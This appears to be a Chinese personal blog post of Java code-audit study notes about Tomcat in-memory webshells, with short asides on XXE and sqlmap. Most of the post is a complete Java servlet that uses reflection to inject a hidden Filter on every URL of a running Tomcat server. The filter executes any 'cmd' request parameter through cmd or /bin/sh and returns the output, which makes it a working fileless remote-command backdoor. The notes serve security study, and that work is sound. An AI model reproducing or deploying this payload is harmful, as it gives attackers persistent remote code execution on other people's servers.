  • web代码执行流程

  • servlet层触发的方法

    1
    2
    3
    //有请求必触发的方法
    requestInitialized
    requestDestroyed
  • 内存马的类型

    1. Listener内存马:监听特定事件并执行恶意代码。
    2. Filter内存马:拦截和修改HTTP请求和响应。
    3. Servlet内存马:直接处理HTTP请求并执行恶意命令。

Listen中内存马

  • 原理

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    监听器指向class: com.example.listenshell.Test

    applicationListeners=com.example.listenshell.Test
    StanderContext#contxet->ApplicationContext#context

    项目启动 listen在运行时 class来源是怎么获取的
    StandardContext#addApplicationEventListener
    内存:添加一个listen

    Servlet -> ApplicationContext -> StandardContext

Filter中内存马

  • filter类中的方法

    • init–初始化
    • doFilter – 执行点
    • destory – 销毁
  • filter访问流程

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    Servlet -> context->ApplicationFilterConfig->context->StandardContext->filterConfigs

    ApplicationFilterConfig#filterConfig context -> StandardContext#

    filterConfigs
    filterDefs# 配置名称和class
    filterMaps 配置名称url路由

    ApplicationFilterConfig#filterConfig( filterDef(filterClass filterName))

    addFilterDef 添加配置名称和class
    addFilterMap addFilterMapBefore 添加配置名称和url路由
  • 内存马实现

    – 相当于添加一个Filter

    1. Servlet获取用户访问
    2. 判断触发(是否为null)
    3. 如未触发则添加Filter
    4. 向对象成员中添加配置信息
  • Filter内存马编写

    【安全记录】通过jsp文件注入内存马 - 知乎 (zhihu.com)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    113
    114
    115
    116
    117
    118
    119
    120
    121
    122
    123
    124
    125
    126
    127
    128
    129
    130
    131
    package pres.test.momenshell;

    import org.apache.catalina.core.StandardContext;
    import org.apache.catalina.core.ApplicationContext;
    import org.apache.tomcat.util.descriptor.web.FilterDef;
    import org.apache.tomcat.util.descriptor.web.FilterMap;
    import org.apache.catalina.core.ApplicationFilterConfig;
    import org.apache.catalina.Context;


    import javax.servlet.*;
    import javax.servlet.http.HttpServlet;
    import javax.servlet.http.HttpServletRequest;
    import javax.servlet.http.HttpServletResponse;
    import java.io.IOException;
    import java.io.PrintWriter;
    import java.lang.reflect.Field;
    import java.lang.reflect.Constructor;
    import java.lang.reflect.InvocationTargetException;
    import java.util.Map;
    import java.util.Scanner;

    public class AddTomcatFilter extends HttpServlet {

    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
    this.doPost(req, resp);
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
    try {
    String name = "RoboTerh";
    //从request中获取ServletContext
    ServletContext servletContext = req.getSession().getServletContext();

    //从context中获取ApplicationContext对象
    Field appctx = servletContext.getClass().getDeclaredField("context");
    appctx.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

    //从ApplicationContext中获取StandardContext对象
    Field stdctx = applicationContext.getClass().getDeclaredField("context");
    stdctx.setAccessible(true);
    StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

    //从StandardContext中获得filterConfigs这个map对象
    Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
    Configs.setAccessible(true);
    Map filterConfigs = (Map) Configs.get(standardContext);

    //如果这个过滤器名字没有注册过
    if (filterConfigs.get(name) == null) {
    //自定义一个Filter对象
    Filter filter = new Filter() {
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {

    }

    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
    HttpServletRequest req = (HttpServletRequest) servletRequest;
    if (req.getParameter("cmd") != null) {
    PrintWriter writer = resp.getWriter();
    String cmd = req.getParameter("cmd");
    String[] commands = new String[3];
    String charsetName = System.getProperty("os.name").toLowerCase().contains("window") ? "GBK":"UTF-8";
    if (System.getProperty("os.name").toUpperCase().contains("WIN")) {
    commands[0] = "cmd";
    commands[1] = "/c";
    } else {
    commands[0] = "/bin/sh";
    commands[1] = "-c";
    }
    commands[2] = cmd;
    try {
    writer.getClass().getDeclaredMethod("println", String.class).invoke(writer, new Scanner(Runtime.getRuntime().exec(commands).getInputStream(),charsetName).useDelimiter("\\A").next());
    writer.getClass().getDeclaredMethod("flush").invoke(writer);
    writer.getClass().getDeclaredMethod("close").invoke(writer);
    return;
    } catch (NoSuchMethodException | IllegalAccessException | InvocationTargetException e) {
    e.printStackTrace();
    }

    }
    filterChain.doFilter(servletRequest, servletResponse);
    }

    @Override
    public void destroy() {

    }

    };

    //创建FilterDef对象 并添加 filter对象,filtername, filter类
    FilterDef filterDef = new FilterDef();
    filterDef.setFilter(filter);
    filterDef.setFilterName(name);
    filterDef.setFilterClass(filter.getClass().getName());
    //通过addFilterDef方法添加 filterDef 方法
    standardContext.addFilterDef(filterDef);

    //创建FilterMap对象,并添加 filter映射,filtername
    FilterMap filterMap = new FilterMap();
    filterMap.addURLPattern("/*");
    filterMap.setFilterName(name);
    //这个不要忘记了
    filterMap.setDispatcher(DispatcherType.REQUEST.name());

    //通过addFilterMapBefore方法添加filterMap对象
    standardContext.addFilterMapBefore(filterMap);

    //通过前面获取的filtermaps的put方法放入filterConfig
    Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
    constructor.setAccessible(true);
    ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);

    filterConfigs.put(name, filterConfig);

    PrintWriter out = resp.getWriter();
    out.print("Inject Success !");
    }

    } catch (Exception e) {
    e.printStackTrace();
    }

    }
    }

tomcat中间件漏洞

XXE

记一次开源cms的Java代审 (qq.com)

工具

问题

  • 使用sqlmap时经常无法测出注入点

  • 尝试网上方法修改源代码

    发现此代码是控制404的响应结果的,注释掉会让sqlmap强行检测注入点

  • 问题未解决,依旧无法测出注入点


Java代码审计
http://huang-d1.github.io/2025/05/27/Java代码审计/
作者
huangdi
发布于
2025年5月27日
许可协议